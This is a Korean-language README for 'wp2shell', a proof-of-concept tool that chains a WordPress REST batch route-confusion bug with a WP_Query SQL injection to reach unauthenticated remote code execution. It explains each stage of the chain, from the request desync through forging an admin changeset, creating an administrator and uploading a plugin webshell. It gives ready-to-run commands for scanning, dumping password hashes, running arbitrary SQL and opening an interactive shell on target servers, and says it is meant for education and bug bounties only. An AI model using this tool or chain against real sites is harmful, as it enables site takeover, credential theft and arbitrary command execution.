
CVE-2026-63030 및 CVE-2026-60137 RCE 체인 개념 증명
⚠ 이 도구는 교육 또는 버그 바운티 목적으로만 제작되었습니다. 통제된 환경 외에서의 무단 사용은 엄격히 금지됩니다.
WordPress Core에 영향을 주는 wp2shell 취약점 체인(CVE-2026-63030 및 CVE-2026-60137 결합)의 개념 증명입니다. 이 프로젝트는 REST API Batch 라우트 혼동 취약점과 WP_Query SQL 삽입 간의 상호 작용을 시연하여, 인증 없이 WordPress 전체를 장악하고 원격 코드 실행(RCE)에 이르는 경로를 보여줍니다.
전체 권고문은 여기에서 읽으십시오.
wp2shell은 WordPress 코어의 사전 인증 RCE 체인으로, CVE-2026-63030(배치 REST 엔드포인트의 라우트 혼동)과 CVE-2026-60137(WP_Query의 SQL 삽입)을 결합합니다.
라우트 혼동: /wp-json/batch/v1은 위치별로 인덱싱된 병렬 $matches 및 $validation 배열을 통해 여러 하위 요청을 처리합니다. 잘못된 경로(예: http://)를 가진 하위 요청은 continue 문 때문에 $matches에는 추가되지 않고 $validation에만 추가되어 배열의 동기화가 깨집니다. 이후의 요청은 다음 요청을 위해 할당된 핸들러로 디스패치되며, 스키마 검증과 권한 검사를 우회합니다.
SQL 삽입: 두 개의 중첩된 배치 호출이 이를 악용합니다. 외부 배치는 메서드 허용 목록(일반적으로 GET 차단)을 우회합니다. 내부 배치는 스칼라 author_exclude 문자열을 GET /wp/v2/posts에 전달합니다. 디스인크(desync)는 이를 검증을 통과하지 못하게 라우팅하고, WP_Query는 정제되지 않은 문자열을 SQL에 직접 삽입하여 UNION 기반 블라인드 삽입을 발생시킵니다.
캐시 포이즈닝: SQLi는 위조된 WP_Post 객체를 반환하고, WordPress는 이를 메모리에 캐시합니다. 이 가짜 게시물에는 [embed] 단축 코드가 포함되어 있어 WordPress가 가짜 참조에서 실제 oembed_cache 데이터베이스 행을 생성하게 됩니다.
체인지셋 권한 상승: 공격자는 SQLi를 사용하여 JSON에 "user_id": 1이 포함된 customize_changeset 게시물을 메모리에서 위조합니다. 사이클 감지 가젯은 post_content를 덮어쓰지 않고 wp_update_post()를 트리거하여 공격자의 페이로드를 보존합니다. 체인지셋을 적용하면 관리자 신원이 일시적으로 가정됩니다.
훅 재진입: 상태가 parse이고 유형이 request인 조작된 게시물은 parse_request 훅을 발생시켜 가정된 관리자 역할로 전체 배치 요청을 재생합니다. 이번에는 POST /wp/v2/users 하위 요청이 성공하여 새 관리자 계정을 생성합니다.
코드 실행: 공격자는 생성된 관리자로 로그인하여 악성 플러그인을 업로드하고 임의 명령을 실행합니다.
| 버전 | 상태 |
|---|---|
| WordPress 6.9.0 – 6.9.4 | 취약 |
| WordPress 7.0.0 – 7.0.1 | 취약 |
| WordPress 6.9.5 | 수정됨 |
| WordPress 7.0.2+ | 수정됨 |
이 PoC를 사용하려면 Python 3.8+만 있으면 됩니다.
저장소 디렉터리에서 실행하여 취약점 검사를 수행하십시오:
wp2shell.py http://victim.com
단일 취약점 검사를 수행합니다. SQLi 페이로드를 실행하지 않고 라우트 혼동 버그를 감지하는 무해한 배치 마커 프로브를 전송합니다. 취약한 대상은 오류 패턴 parse_path_failed, block_cannot_read, rest_batch_not_allowed와 함께 HTTP 207을 반환합니다.
--confirm-sqli를 사용하면 활성 SQLi 확인 페이로드도 전송됩니다. 확인은 먼저 UNION 반사(reflection)를 시도한 다음 타이밍 기반 프로브로 대체합니다.
단일 대상 검사(기본 모드)
wp2shell.py http://target.com
명시적 모드로 검사
Check with explicit mode
wp2shell.py http://target.com --check
SQLi 확인과 함께 검사
wp2shell.py http://target.com --check --confirm-sqli
사전 인증 SQL 삽입을 사용하여 데이터베이스에서 데이터를 추출합니다. 기본적으로 사용 가능한 방법을 다음 순서로 시도하는 --technique auto를 사용합니다.
WP_Post 행을 위조하고 REST 응답에서 제목을 ||HEX(value)||로 다시 읽습니다. 값당 요청 1회. 가장 빠릅니다.EXTRACTVALUE/UPDATEXML을 사용하여 요청당 약 15바이트를 유출합니다. 대상이 MySQL 오류를 반영할 때 작동합니다(예: WP_DEBUG_DISPLAY 활성화).X-WP-Total 헤더를 읽습니다. 데이터가 반영되지 않아도 작동합니다.--technique union|error|blind로 특정 기술을 강제할 수 있습니다. 이러한 읽기 경로는 읽기 전용이며 데이터베이스에 쓰지 않습니다.
서버 지문 식별(기본 쿼리)
wp2shell.py http://target.com --read
로그인 및 비밀번호 해시 덤프
wp2shell.py http://target.com --read --preset users
사용자 지정 SQL 쿼리
wp2shell.py http://target.com --read --query "SELECT @@version"
블라인드 기술 강제
wp2shell.py http://target.com --read --technique blind --query "SELECT user_login FROM wp_users LIMIT 1"
오류 기반 기술로 추출
wp2shell.py http://target.com --read --technique error --query "SELECT user_pass FROM wp_users LIMIT 1"
대상 서버에서 명령을 실행합니다. 두 가지 모드로 작동합니다.
자격 증명 사용(기존 관리자로 로그인하고 플러그인 셸 업로드):
특정 명령 실행
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --cmd id
대화형 셸
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --interactive
자격 증명 없이(사전 인증 RCE - 전체 SQLi→관리자 브리지를 실행하고, 생성된 관리자로 로그인한 다음, 플러그인 셸을 업로드):
단일 명령 실행
wp2shell.py http://target.com --shell --cmd id
대화형 셸
wp2shell.py http://target.com --shell --interactive
플러그인 웹셸은 무작위 경로와 실행별 토큰으로 업로드됩니다. 업로드된 웹셸은 자동으로 제거됩니다. 사전 인증 브리지가 관리자를 생성하면 해당 생성 계정도 셸 세션이 종료된 후 자동으로 제거됩니다.
모든 플래그 목록:
이 도구는 교육 또는 버그 바운티 목적으로만 제작되었습니다. 통제된 환경 외에서의 무단 사용은 엄격히 금지됩니다.
| 플래그 | 설명 |
|---|
--check | 취약점 검사 실행(다른 모드가 지정되지 않은 경우 기본 모드) |
--read | SQL 삽입을 통해 데이터 추출 |
--shell | 서버에서 명령 실행 |
--query | 읽기 모드용 사용자 지정 SQL 쿼리 |
--preset | 사전 정의된 쿼리 프리셋 (users, config, versions) |
--technique | SQLi 추출 기술: union, error, blind 또는 auto(기본값) |
--confirm-sqli | 검사 후 SQLi 확인 페이로드 전송 |
--cmd | 셸 모드에서 실행할 명령(기본값: id) |
--interactive, -i | 대화형 셸 모드 |
--user | 인증된 셸용 관리자 사용자 이름 |
--password | 인증된 셸용 관리자 비밀번호 |
--proxy | HTTP/HTTPS 프록시 (예: http://127.0.0.1:8080) |
--timeout | 요청 제한 시간(초) (기본값: 30) |
--verbose, -v | 상세 출력 |